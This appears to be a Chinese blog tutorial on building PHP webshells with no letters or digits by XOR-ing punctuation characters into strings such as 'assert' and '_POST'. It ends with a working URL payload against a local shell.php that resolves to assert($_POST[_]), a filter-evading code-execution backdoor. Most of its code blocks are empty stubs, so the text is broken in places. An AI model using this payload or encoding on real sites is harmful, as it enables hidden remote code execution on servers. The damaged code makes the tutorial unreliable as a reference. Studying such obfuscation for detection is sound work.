不包含字母和数字的webshell
Abstract: 分析 webshell
Table of Contents
webshell
尝试分析如下 webshell
1 |
|
基础知识
在 php
语言中 ^
代表异或的意思。 php
是弱类型语言,即使用时可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。
1 |
|
可以看到输出为 _
,原因是 #
的十六进制为 0x23
,|
的十六进制为 7C
,两者异或的结果为 5F
。
ASCII
码 5F
对应的就是 _
。
分析代码
1 |
|
$_++
即为变量 _
的自增运算,在 PHP
未定义的自变量默认值为 NULL
,而 NULL==False==0
。
$__="." ^ "~"
即把 .
和 ~
异或的结果赋值给变量 __
,由第一段程序,我们可以很容易分析得 "." ^ "~"
的结果为 0x50
,故 __
的值为 P
。
$__()
变量后面有括号,即调用函数,故会调用函数 P()
。
所以我们可以通过不同符号的异或构造出 $_POST
等字符,从而编写出一个使用数字和字母的 webshell
。
1 |
|
最后一段代码的结果为 $_POST[0]($_POST[1])
。
上面的代码还可以写在一起
1 |
|
除了用字符还可以用 url
编码实现。
应用
1 |
|
此时需要我们写一个无字母和数字组成的 shell
。
1 |
|
1 | http://127.0.0.1:8000/shell.php?shell=$_=(%27%01%27^%27`%27).(%27%13%27^%27`%27).(%27%13%27^%27`%27).(%27%05%27^%27`%27).(%27%12%27^%27`%27).(%27%14%27^%27`%27);$__=%27_%27.(%27%0D%27^%27]%27).(%27%2F%27^%27`%27).(%27%0E%27^%27]%27).(%27%09%27^%27]%27);$___=$$__;$_($___[_]); |
其中 shell=$_=assert
,$__=_POST
。
1 | http://127.0.0.1:8000/shell.php?shell=$_=assert;$__=_POST;$___=$_POST;assert($_POST[_]); |
参考文章